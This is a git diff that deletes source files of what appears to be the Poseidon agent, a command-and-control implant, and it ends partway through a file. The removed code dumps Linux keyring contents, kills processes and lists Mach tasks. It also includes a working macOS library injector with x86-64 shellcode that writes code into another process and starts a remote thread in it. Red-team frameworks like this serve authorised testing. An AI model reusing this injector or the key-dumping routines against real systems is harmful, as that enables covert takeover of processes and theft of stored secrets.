- return res, nil
-}
-
-func Searchforkeywithtype(name string, typeName string) ([]Keydetails, error) {
- keyring, err := keyctl.SessionKeyring()
- if err != nil {
- log.Printf("Failed to get session keyring: %s", err.Error())
- return nil, err
- }
-
- key, err := keyring.SearchWithType(name, typeName)
- if err != nil {
- return nil, err
- }
-
- res := make([]Keydetails, 1)
- info, _ := key.Info()
- raw, err := key.Get()
-
- res[0].Name = info.Name
- res[0].ID = key.Id()
-
- if err == nil {
- res[0].Data = base64.StdEncoding.EncodeToString(raw)
- }
-
- res[0].Keytype = info.Type
- res[0].UID = info.Uid
- res[0].Valid = info.Valid()
- res[0].Permissions.User = info.Perm.User()
- res[0].Permissions.Group = info.Perm.Group()
- res[0].Permissions.Process = info.Perm.Process()
- res[0].Permissions.Other = info.Perm.Other()
-
- return res, nil
-}
-
-func ListKeysForThreads() ([]Keydetails, error) {
- keyring, err := keyctl.ThreadKeyring()
- if err != nil {
- log.Printf("Failed to get session keyring: %s", err.Error())
- return nil, err
- }
-
- keys, err := keyctl.ListKeyring(keyring)
-
- if err != nil {
- log.Printf("Unable to get key contents")
- return nil, err
- }
-
- res := make([]Keydetails, len(keys))
-
- for i, key := range keys {
- info, _ := key.Info()
- res[i].Name = info.Name
- res[i].ID = key.Id
- res[i].Keytype = info.Type
- res[i].UID = info.Uid
- res[i].Valid = info.Valid()
-
- res[i].Permissions.User = info.Perm.User()
- res[i].Permissions.Group = info.Perm.Group()
- res[i].Permissions.Process = info.Perm.Process()
- res[i].Permissions.Other = info.Perm.Other()
-
- }
-
- return res, nil
-}
-
-func ListKeysForProcess() ([]Keydetails, error) {
- keyring, err := keyctl.ProcessKeyring()
- if err != nil {
- log.Printf("Failed to get session keyring: %s", err.Error())
- return nil, err
- }
-
- keys, err := keyctl.ListKeyring(keyring)
-
- if err != nil {
- log.Printf("Unable to get key contents")
- return nil, err
- }
-
- res := make([]Keydetails, len(keys))
-
- for i, key := range keys {
- info, _ := key.Info()
- res[i].Name = info.Name
- res[i].ID = key.Id
- res[i].Keytype = info.Type
- res[i].UID = info.Uid
- res[i].Valid = info.Valid()
-
- res[i].Permissions.User = info.Perm.User()
- res[i].Permissions.Group = info.Perm.Group()
- res[i].Permissions.Process = info.Perm.Process()
- res[i].Permissions.Other = info.Perm.Other()
-
- }
-
- return res, nil
-}
-
-//ListKeysForUserSession - List all of the keys private to the current user
-func ListKeysForUserSession() ([]Keydetails, error) {
- keyring, err := keyctl.UserSessionKeyring()
- if err != nil {
- log.Printf("Failed to get session keyring: %s", err.Error())
- return nil, err
- }
-
- keys, err := keyctl.ListKeyring(keyring)
-
- if err != nil {
- log.Printf("Unable to get key contents")
- return nil, err
- }
-
- res := make([]Keydetails, len(keys))
-
- for i, key := range keys {
- info, _ := key.Info()
- res[i].Name = info.Name
- res[i].ID = key.Id
- res[i].Keytype = info.Type
- res[i].UID = info.Uid
- res[i].Valid = info.Valid()
-
- res[i].Permissions.User = info.Perm.User()
- res[i].Permissions.Group = info.Perm.Group()
- res[i].Permissions.Process = info.Perm.Process()
- res[i].Permissions.Other = info.Perm.Other()
-
- }
-
- return res, nil
-}
-
-func Searchcurrentsessionkeyring(name string) ([]Keydetails, error) {
- keyring, err := keyctl.SessionKeyring()
- if err != nil {
- return nil, err
- }
-
- key, err := keyring.Search(name)
- if err != nil {
- return nil, err
- }
-
- res := make([]Keydetails, 1)
- info, _ := key.Info()
- raw, err := key.Get()
-
- res[0].Name = info.Name
- res[0].ID = key.Id()
-
- if err == nil {
- res[0].Data = base64.StdEncoding.EncodeToString(raw)
- }
-
- res[0].Keytype = info.Type
- res[0].UID = info.Uid
- res[0].Valid = info.Valid()
- res[0].Permissions.User = info.Perm.User()
- res[0].Permissions.Group = info.Perm.Group()
- res[0].Permissions.Process = info.Perm.Process()
- res[0].Permissions.Other = info.Perm.Other()
-
- return res, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/kill/kill.go b/Payload_Types/poseidon/agent_code/kill/kill.go
deleted file mode 100755
index 8d39927d7..000000000
--- a/Payload_Types/poseidon/agent_code/kill/kill.go
+++ /dev/null
@@ -1,57 +0,0 @@
-package kill
-
-import (
- "fmt"
- "os"
- "strconv"
- "syscall"
- "encoding/json"
- "sync"
- "pkg/profiles"
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- pid, err := strconv.Atoi(task.Params)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- p, err := os.FindProcess(pid)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- p.Signal(syscall.SIGKILL)
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Killed process with PID %s", task.Params)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/libinject/libinject.go b/Payload_Types/poseidon/agent_code/libinject/libinject.go
deleted file mode 100755
index f31d5302c..000000000
--- a/Payload_Types/poseidon/agent_code/libinject/libinject.go
+++ /dev/null
@@ -1,72 +0,0 @@
-package libinject
-
-import (
- "encoding/json"
- "fmt"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-// Inject C source taken from: http://www.newosxbook.com/src.jl?tree=listings&file=inject.c
-type Injection interface {
- TargetPid() int
- Shellcode() []byte
- Success() bool
- SharedLib() string
-}
-
-type Arguments struct {
- PID int `json:"pid"`
- LibraryPath string `json:"library"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- args := Arguments{}
- err := json.Unmarshal([]byte(task.Params), &args)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- result, err := injectLibrary(args.PID, args.LibraryPath)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- if result.Success() {
- msg.UserOutput = fmt.Sprintf("Successfully injected %s injection into pid: %d ", args.LibraryPath, args.PID)
- } else {
- msg.UserOutput = fmt.Sprintf("Failed to inject %s into pid: %d ", args.LibraryPath, args.PID)
- }
-
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.c b/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.c
deleted file mode 100644
index ff49eacf2..000000000
--- a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.c
+++ /dev/null
@@ -1,154 +0,0 @@
-#include "libinject_darwin.h"
-
-#define STACK_SIZE 65536
-#define CODE_SIZE 128
-char injectedCode[] =
-"\x55" // push rbp
-"\x48\x89\xE5" // mov rbp, rsp
-"\x48\x83\xEC\x10" // sub rsp, 0x10
-"\x48\x8D\x7D\xF8" // lea rdi, qword [rbp+var_8]
-"\x31\xC0" // xor eax, eax
-"\x89\xC1" // mov ecx, eax
-"\x48\x8D\x15\x1A\x00\x00\x00" // lea rdx, qword ptr [rip + 0x1A]
-"\x48\x89\xCE" // mov rsi, rcx
-"\x48\xB8" // movabs rax, pthread_create_from_mach_thread
-"PTHRDCRT"
-"\xFF\xD0" // call rax
-"\x89\x45\xF4" // mov dword [rbp+var_C], eax
-"\x48\x83\xC4\x10" // add rsp, 0x10
-"\x5D" // pop rbp
-"\xEB\xFE" // jmp 0x0
-"\xC3" // ret
-"\x55" // push rbp
-"\x48\x89\xE5" // mov rbp, rsp
-"\x48\x83\xEC\x10" // sub rsp, 0x10
-"\xBE\x01\x00\x00\x00" // mov esi, 0x1
-"\x48\x89\x7D\xF8" // mov qword [rbp+var_8], rdi
-"\x48\x8D\x3D\x1D\x00\x00\x00" // lea rdi, qword ptr [rip + 0x2c]
-"\x48\xB8" // movabs rax, dlopen
-"DLOPEN__"
-"\xFF\xD0" // call rax
-"\x31\xF6" // xor esi, esi
-"\x89\xF7" // mov edi, esi
-"\x48\x89\x45\xF0" // mov qword [rbp+var_10], rax
-"\x48\x89\xF8" // mov rax, rdi
-"\x48\x83\xC4\x10" // add rsp, 0x10
-"\x5D" // pop rbp
-"\xC3" // ret
-"LIBLIBLIBLIB"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-task_t taskForPidWrapper(pid_t pid)
-{
- host_t myhost = mach_host_self();
- host_t host_priv;
- mach_port_t psDefault;
- mach_port_t psDefault_control;
- task_array_t tasks;
- mach_msg_type_number_t numTasks;
- int i;
- thread_array_t threads;
- thread_info_data_t tInfo;
- kern_return_t kr;
- host_get_host_priv_port(mach_host_self(), &host_priv);
- kr = processor_set_default(host_priv, &psDefault);
- processor_set_name_array_t *psets = malloc(1024);
- mach_msg_type_number_t psetCount;
- kr = host_processor_sets (host_priv, psets, &psetCount);
- kr = host_processor_set_priv(host_priv, psDefault, &psDefault_control);
- if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr); mach_error("host_processor_set_priv",kr); return 0;}
- numTasks=1000;
- kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
- if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr);return 0; }
- for (i = 0; i < numTasks; i++)
- {
- char name[128];
- int p;
- pid_for_task(tasks[i], &p);
- //int rc= proc_name(pid, name, 128);
- if (p == pid)
- {
- return tasks[i];
- }
- }
- return 0;
-}
-
-int inject(pid_t pid, char* lib)
-{
- task_t remoteTask;
- struct stat buf;
- int rc = stat (lib, &buf);
- if (rc != 0)
- {
- return (-9);
- }
- mach_error_t kr = 0;
- remoteTask = taskForPidWrapper(pid);
- if (remoteTask == NULL)
- {
- return (-2);
- }
- mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
- mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
- kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
- if (kr != KERN_SUCCESS)
- {
- return (-2);
- }
- remoteCode64 = (vm_address_t) NULL;
- kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
- if (kr != KERN_SUCCESS)
- {
- return (-2);
- }
- int i = 0;
- char *possiblePatchLocation = (injectedCode );
- for (i = 0 ; i < 0x100; i++)
- {
- extern void *_pthread_set_self;
- possiblePatchLocation++;
- uint64_t addrOfPthreadCreateFromMachThread = (uint64_t)dlsym( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) _pthread_set_self; Get the address, because we pull the address from the sharedcache.
- uint64_t addrOfDlopen = (uint64_t) dlopen;
- uint64_t addrOfSleep = (uint64_t) sleep;
- if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
- {
- memcpy(possiblePatchLocation, &addrOfPthreadCreateFromMachThread,8);
- }
- if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
- {
- memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
- }
- if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
- {
- strcpy(possiblePatchLocation, lib );
- }
- }
- kr = mach_vm_write(remoteTask,remoteCode64, (vm_address_t) injectedCode, 0xa9); // Length of the source
- if (kr != KERN_SUCCESS)
- {
- return (-3);
- }
- kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
- kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
- if (kr != KERN_SUCCESS)
- {
- return (-4);
- }
- x86_thread_state64_t remoteThreadState64;
- thread_act_t remoteThread;
- memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
- remoteStack64 += (STACK_SIZE / 2);
- const char* p = (const char*) remoteCode64;
- remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
- remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
- remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
- kr = thread_create_running( remoteTask, x86_THREAD_STATE64, (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
- if (kr != KERN_SUCCESS)
- {
- return (-3);
- }
- return (0);
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.go b/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.go
deleted file mode 100755
index 30e565990..000000000
--- a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.go
+++ /dev/null
@@ -1,46 +0,0 @@
-// +build darwin
-
-package libinject
-
-/*
-#cgo LDFLAGS: -lm -framework Foundation
-#cgo CFLAGS: -Wno-error=implicit-function-declaration
-#include "libinject_darwin.h"
-*/
-import "C"
-
-type DarwinInjection struct {
- Target int
- Successful bool
- Payload []byte
- LibraryPath string
-}
-
-func (l *DarwinInjection) TargetPid() int {
- return l.Target
-}
-
-func (l *DarwinInjection) Success() bool {
- return l.Successful
-}
-
-func (l *DarwinInjection) Shellcode() []byte {
- return l.Payload
-}
-
-func (l *DarwinInjection) SharedLib() string {
- return l.LibraryPath
-}
-
-func injectLibrary(pid int, path string) (DarwinInjection, error) {
- res := DarwinInjection{}
- i := C.int(pid)
- cpath := C.CString(path)
-
- r := C.inject(i, cpath)
- res.Successful = true
- if r != 0 {
- res.Successful = false
- }
- return res, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.h b/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.h
deleted file mode 100644
index 331640ef3..000000000
--- a/Payload_Types/poseidon/agent_code/libinject/libinject_darwin.h
+++ /dev/null
@@ -1,18 +0,0 @@
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-
-extern int inject(pid_t pid, char *lib);
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/libinject/libinject_linux.go b/Payload_Types/poseidon/agent_code/libinject/libinject_linux.go
deleted file mode 100755
index d17dc6824..000000000
--- a/Payload_Types/poseidon/agent_code/libinject/libinject_linux.go
+++ /dev/null
@@ -1,106 +0,0 @@
-// +build linux
-
-package libinject
-
-/*
-#include
-#include
-#include
-#include
-
-static FILE *cgo_get_stdin(void) { return stdin; }
-static FILE *cgo_get_stdout(void) { return stdout; }
-static FILE *cgo_get_stderr(void) { return stderr; }
-*/
-
-/*
-Note: Because this is currently not-operational,
- lines 21-26 and 51-70 have been commented out.
-*/
-
-// import (
-// "C"
-// "unsafe"
-// )
-
-// type File C.FILE
-
-type LinuxInjection struct {
- Target int
- Successful bool
- Payload []byte
- LibraryPath string
-}
-
-func (l *LinuxInjection) TargetPid() int {
- return l.Target
-}
-
-func (l *LinuxInjection) Success() bool {
- return l.Successful
-}
-
-func (l *LinuxInjection) Shellcode() []byte {
- return l.Payload
-}
-
-func (l *LinuxInjection) SharedLib() string {
- return l.LibraryPath
-}
-
-// func Open(path, mode string) *File {
-// cpath, cmode := C.CString(path), C.CString(mode)
-// defer C.free(unsafe.Pointer(cpath))
-// defer C.free(unsafe.Pointer(cmode))
-
-// return (*File)(C.fopen(cpath, cmode))
-// }
-
-// func (f *File) Put(str string) {
-// cstr := C.CString(str)
-// defer C.free(unsafe.Pointer(cstr))
-
-// C.fputs(cstr, (*C.FILE)(f))
-// return
-// }
-
-// func (f *File) Get(n int) string {
-// cbuf := make([]C.char, n)
-// return C.GoString(C.fgets(&cbuf[0], C.int(n), (*C.FILE)(f)))
-// }
-
-func injectLibrary(pid int, path string) (LinuxInjection, error) {
- res := LinuxInjection{}
- /*oldregs := syscall.PtraceRegs{}
-
- // Try to attach to the target process
- traceeHandle, err := ptrace.Attach(pid)
-
- if err != nil {
- return res, err
- }
-
- var w syscall.WaitStatus
- r := syscall.Rusage{}
-
- // wait for the target process to signal
- wpid, err := syscall.Wait4(pid, &w, 0, &r)
- log.Println("Pid ", wpid)
- if err != nil {
- return res, err
- }
-
- // Get the registers to save their state
- registers, err := traceeHandle.GetRegs()
-
- if err != nil {
- return res, err
- }
-
- oldregs = registers
-
- //oldcode := C.malloc(C.sizeof_char * 9076)
- */
- res.Successful = false
- return res, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements.go b/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements.go
deleted file mode 100755
index 8a24c4ebd..000000000
--- a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements.go
+++ /dev/null
@@ -1,67 +0,0 @@
-package list_entitlements
-
-import (
- "encoding/json"
- //"fmt"
- "ps"
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
- "strings"
-)
-
-var mu sync.Mutex
-
-type Arguments struct {
- PID int `json:"pid"`
-}
-
-type ProcessDetails struct {
- ProcessID int `json:"process_id"`
- Entitlements string `json:"entitlements"`
- Name string `json:"name"`
- BinPath string `json:"bin_path"`
- CodeSign int `json:"code_sign"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- var final string
- args := Arguments{}
- json.Unmarshal([]byte(task.Params), &args)
- if args.PID < 0 {
- procs, _ := ps.Processes()
- p := make([]ProcessDetails, len(procs))
- replacer := strings.NewReplacer("\n", "", "\t", "")
- for index := 0; index < len(procs); index++ {
- p[index].ProcessID = procs[index].Pid()
- p[index].Name = procs[index].Name()
- p[index].BinPath = procs[index].BinPath()
- ent, _ := listEntitlements(p[index].ProcessID)
- if ent.Successful {
- p[index].Entitlements = replacer.Replace(ent.Message)
- }else{
- p[index].Entitlements = "Unsuccessfully queried"
- }
- cs, _ := listCodeSign(p[index].ProcessID)
- p[index].CodeSign = cs.CodeSign
- }
- temp, _ :=json.Marshal(p)
- final = string(temp)
- }else{
- r, _ := listEntitlements(args.PID)
- if !r.Successful {
- msg.Status = "error"
- }
- final = r.Message
- }
-
- msg.Completed = true
- msg.UserOutput = final
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.go b/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.go
deleted file mode 100755
index 5582a1ecb..000000000
--- a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.go
+++ /dev/null
@@ -1,39 +0,0 @@
-// +build darwin
-
-package list_entitlements
-
-/*
-#cgo LDFLAGS: -lm -framework Foundation
-#cgo CFLAGS: -Wno-error=implicit-function-declaration
-#include "list_entitlements_darwin.h"
-*/
-import "C"
-
-type DarwinListEntitlements struct {
- Successful bool
- Message string
- CodeSign int
-}
-
-func listEntitlements(pid int) (DarwinListEntitlements, error) {
- res := DarwinListEntitlements{}
- i := C.int(pid)
- r := C.exec_csops(i)
- res.Successful = true
- res.Message = C.GoString(r)
- if len(res.Message) == 0 {
- res.Successful = false
- }
- return res, nil
-}
-func listCodeSign(pid int) (DarwinListEntitlements, error) {
- res := DarwinListEntitlements{}
- i := C.int(pid)
- r := C.exec_csops_status(i)
- res.Successful = true
- res.CodeSign = int(r)
- if r == -1 {
- res.Successful = false
- }
- return res, nil
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.h b/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.h
deleted file mode 100644
index a10390b65..000000000
--- a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.h
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (c) 2006 Apple Computer, Inc. All rights reserved.
- *
- * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
- *
- * This file contains Original Code and/or Modifications of Original Code
- * as defined in and that are subject to the Apple Public Source License
- * Version 2.0 (the 'License'). You may not use this file except in
- * compliance with the License. The rights granted to you under the License
- * may not be used to create, or enable the creation or redistribution of,
- * unlawful or unlicensed copies of an Apple operating system, or to
- * circumvent, violate, or enable the circumvention or violation of, any
- * terms of an Apple operating system software license agreement.
- *
- * Please obtain a copy of the License at
- * http://www.opensource.apple.com/apsl/ and read it before using this file.
- *
- * The Original Code and all software distributed under the License are
- * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
- * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
- * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
- * Please see the License for the specific language governing rights and
- * limitations under the License.
- *
- * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
- */
-#include
-
-/* csops operations */
-#define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */
-#define CS_OPS_STATUS 0 /* get code sign status */
-
-/* code sign operations */
-int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize);
-extern char* exec_csops(int proc_id);
-extern int exec_csops_status(int proc_id);
-char* parse_plist(char* plist_string);
diff --git a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.m b/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.m
deleted file mode 100644
index f3e332017..000000000
--- a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_darwin.m
+++ /dev/null
@@ -1,105 +0,0 @@
-#include "list_entitlements_darwin.h"
-
-//
-// CSOps.c
-// CSOps
-
-/**
-* Copyright (C) 2012 Yogesh Prem Swami. All rights reserved.
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-* http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*
-*/
-
-
-#include // getpid()
-#include // printf() etc
-#include // atoi()
-#include // strlen()
-#include // strerror()
-#include // PATH_MAX
-#include // SHA_HASH_LENGTH.
-#import
-
-#define MAX_CSOPS_BUFFER_LEN 3*PATH_MAX // 3K < 1 page
-
-static char BUFFER[512000];
-static uint32_t int_buffer;
-static off_t off_buffer;
-
-typedef void (^describe_t)(void);
-static pid_t process_id;
-
-static struct csops_struct{
- describe_t describe; // These are the things that make blocks shine
- unsigned int ops;
- void* useraddr;
- size_t usersize;
-}CSOPS[] = {
- /* Get the entitlement blob. */
- {
- .ops = CS_OPS_ENTITLEMENTS_BLOB,
- .useraddr = (void*)BUFFER,
- .usersize = (512000)
- }
-};
-
-
-#define CSOPS_SIZE (sizeof(CSOPS)/sizeof(CSOPS[0]))
-
-
-char* exec_csops( int proc_id){
- int result;
- int i;
- struct csops_struct* cs;
- memset(BUFFER, 0, 512000);
- cs = &CSOPS[0];
- process_id = proc_id;
- result = csops(process_id, cs->ops, cs->useraddr, cs->usersize);
-
- if (result < 0) {
- return strerror(errno);
- }else{
- if ( ((char*)(cs->useraddr))[0] != 0x00 ){
- return parse_plist( ((char*)(cs->useraddr)) + 8 );
- }else{
- return "No Entitlements";
- }
- }
-}
-
-int exec_csops_status( int proc_id){
- int result;
- int i;
- struct csops_struct* cs;
- uint32_t int_buffer;
- cs = &CSOPS[0];
- process_id = proc_id;
- result = csops(process_id, CS_OPS_STATUS, (void*)&int_buffer, sizeof(int_buffer));
-
- if (result < 0) {
- return -1;
- }else{
- return int_buffer;
- }
-}
-char* parse_plist( char* plist_string){
- NSString* plistString = [NSString stringWithUTF8String:plist_string];
- NSData* plistData = [plistString dataUsingEncoding:NSUTF8StringEncoding];
- NSPropertyListFormat* format;
- NSString* error;
- NSDictionary* plist = [NSPropertyListSerialization propertyListWithData:plistData options:NSPropertyListImmutable format:&format error:&error];
- NSData * jsonData = [NSJSONSerialization dataWithJSONObject:plist options:0 error:&error];
- NSString * myString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
- return [myString UTF8String];
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_linux.go b/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_linux.go
deleted file mode 100755
index 4560183ef..000000000
--- a/Payload_Types/poseidon/agent_code/list_entitlements/list_entitlements_linux.go
+++ /dev/null
@@ -1,23 +0,0 @@
-// +build linux
-
-package list_entitlements
-
-type LinuxListEntitlements struct {
- Successful bool
- Message string
- CodeSign int
-}
-
-func listEntitlements(pid int) (LinuxListEntitlements, error) {
- res := LinuxListEntitlements{}
- res.Successful = false
- res.Message = "Not Supported"
- return res, nil
-}
-func listCodeSign(pid int) (LinuxListEntitlements, error) {
- res := LinuxListEntitlements{}
- res.Successful = false
- res.Message = "Not Supported"
- res.CodeSign = -1;
- return res, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/listtasks/listtasks.go b/Payload_Types/poseidon/agent_code/listtasks/listtasks.go
deleted file mode 100644
index 584527984..000000000
--- a/Payload_Types/poseidon/agent_code/listtasks/listtasks.go
+++ /dev/null
@@ -1,41 +0,0 @@
-package listtasks
-
-import (
- "encoding/json"
- "pkg/profiles"
- "pkg/utils/structs"
- "sync"
-)
-
-var mu sync.Mutex
-
-type Listtasks interface {
- Result() map[string]interface{}
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- r, err := getAvailableTasks()
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- byteResult, err := json.MarshalIndent(r.Result(), "", " ")
- msg.UserOutput = string(byteResult)
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.go b/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.go
deleted file mode 100644
index 0f2b797ca..000000000
--- a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.go
+++ /dev/null
@@ -1,37 +0,0 @@
-// +build darwin
-
-package listtasks
-
-/*
-#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new
-#cgo LDFLAGS: -framework Foundation
-#include "listtasks_darwin.h"
-*/
-import "C"
-import "encoding/json"
-
-type ListtasksDarwin struct {
- Results map[string]interface{}
-}
-
-func (l *ListtasksDarwin) Result() map[string]interface{} {
- return l.Results
-}
-
-func getAvailableTasks() (ListtasksDarwin, error) {
- cresult := C.listtasks()
- var resultJson map[string]interface{}
- raw := C.GoString(cresult)
- r := []byte(raw)
- err := json.Unmarshal(r, &resultJson)
-
- if err != nil {
- empty := ListtasksDarwin{}
- return empty, err
- }
-
- darwinTasks := ListtasksDarwin{}
- darwinTasks.Results = resultJson
-
- return darwinTasks, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.h b/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.h
deleted file mode 100644
index 75e5afa8d..000000000
--- a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#include
-#include
-#include
-#include
-
-extern char* listtasks();
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.m b/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.m
deleted file mode 100644
index 981c30373..000000000
--- a/Payload_Types/poseidon/agent_code/listtasks/listtasks_darwin.m
+++ /dev/null
@@ -1,47 +0,0 @@
-#import
-#include "listtasks_darwin.h"
-
-char* listtasks() {
- @try {
- host_t myhost = mach_host_self();
- host_t host_priv;
- mach_port_t psDefault;
- mach_port_t psDefault_control;
- task_array_t tasks;
- mach_msg_type_number_t numTasks;
- int i;
- thread_array_t threads;
- thread_info_data_t tInfo;
- kern_return_t kr;
- host_get_host_priv_port(mach_host_self(), &host_priv);
- kr = processor_set_default(host_priv, &psDefault);
- processor_set_name_array_t *psets = malloc(1024);
- mach_msg_type_number_t psetCount;
- kr = host_processor_sets(host_priv, psets, &psetCount);
- kr = host_processor_set_priv(host_priv, psDefault, &psDefault_control);
-
- if (kr != KERN_SUCCESS) {
- return [NSString stringWithFormat:@"%x", kr];
- }
